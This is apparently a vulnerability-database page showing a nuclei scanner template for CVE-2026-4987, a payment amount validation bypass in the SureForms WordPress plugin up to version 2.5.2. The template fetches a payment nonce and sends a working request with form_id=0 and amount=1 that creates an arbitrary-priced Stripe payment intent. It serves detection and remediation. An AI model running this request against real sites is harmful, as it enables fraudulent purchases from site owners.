Lucene search
+L

SureForms <= 2.5.2 - Unauthenticated Payment Amount Validation Bypass via form_id

🗓️ 30 Jul 2026 07:03:02Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 3 Views

SureForms up to 2.5.2 permits unauthenticated payment amount bypass via form_id.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-4987
28 Mar 202601:25
attackerkb
circl
Circl
CVE-2026-4987
28 Mar 202602:05
circl
cnnvd
CNNVD
WordPress plugin SureForms 输入验证错误漏洞
28 Mar 202600:00
cnnvd
cve
CVE
CVE-2026-4987
28 Mar 202601:25
cve
cvelist
Cvelist
CVE-2026-4987 SureForms <= 2.5.2 - Unauthenticated Payment Amount Validation Bypass via 'form_id'
28 Mar 202601:25
cvelist
euvd
EUVD
EUVD-2026-16905
28 Mar 202603:31
euvd
nvd
NVD
CVE-2026-4987
28 Mar 202602:16
nvd
patchstack
Patchstack
WordPress SureForms plugin <= 2.5.2 - Unauthenticated Payment Amount Validation Bypass via 'form_id' vulnerability
30 Mar 202608:35
patchstack
ptsecurity
Positive Technologies
PT-2026-28706
28 Mar 202600:00
ptsecurity
redhatcve
RedhatCVE
CVE-2026-4987
29 Mar 202605:10
redhatcve
Rows per page
id: CVE-2026-4987

info:
  name: SureForms <= 2.5.2 - Unauthenticated Payment Amount Validation Bypass via form_id
  author: iamatownboy
  severity: high
  description: |
    The SureForms plugin for WordPress is vulnerable to payment amount validation bypass in versions up to, and including, 2.5.2.
    The create_payment_intent AJAX handler checks `if ($form_id > 0 && !empty($block_id))` before calling validate_payment_amount().
    By sending form_id=0 (the default intval of a missing/zero value), an unauthenticated attacker completely skips the server-side
    amount validation and can create Stripe payment intents with arbitrary amounts, bypassing configured pricing.
  impact: |
    Unauthenticated attackers can create underpriced payment or subscription intents and complete purchases at fraudulent prices.
  remediation: |
    Update SureForms to version 2.6.0 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-4987
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/c4772b32-a730-44f2-b43c-f9bd5abb6541?source=cve
    - https://plugins.trac.wordpress.org/changeset/3488858/sureforms
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-4987
    epss-score: 0.00256
    epss-percentile: 0.17213
    cwe-id: CWE-20
  metadata:
    verified: true
    max-request: 3
    vendor: brainstormforce
    product: sureforms
    framework: wordpress
    publicwww-query: "/wp-content/plugins/sureforms/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,sureforms,payment,validation-bypass,unauth

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/sureforms/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "SureForms")
          - compare_versions(version, "<= 2.5.2")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-json/sureforms/v1/refresh-nonces"

    matchers:
      - type: word
        part: body
        words:
          - "payment_nonce"
        internal: true

    extractors:
      - type: regex
        name: payment_nonce
        part: body
        group: 1
        regex:
          - '"payment_nonce"\s*:\s*"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/

        action=srfm_create_payment_intent&nonce={{payment_nonce}}&amount=1&currency=usd&form_id=0&block_id=&description=SureForms&[email protected]&customer_name=test

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "client_secret"
          - "payment_intent_id"
          - "API Key provided"
        condition: or

      - type: word
        part: body
        words:
          - "Invalid nonce"
        negative: true

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202ea47a4ba8a16c7db07226bfe17717fa2dc39100e20fe77c11937c01183af42102210089c6cc3f1f9bd46433051df70156ee38f67b4a1b6e2a8267efdee0c4c02ee44e:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jul 2026 10:42Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.17.5
EPSS0.00707
SSVC
3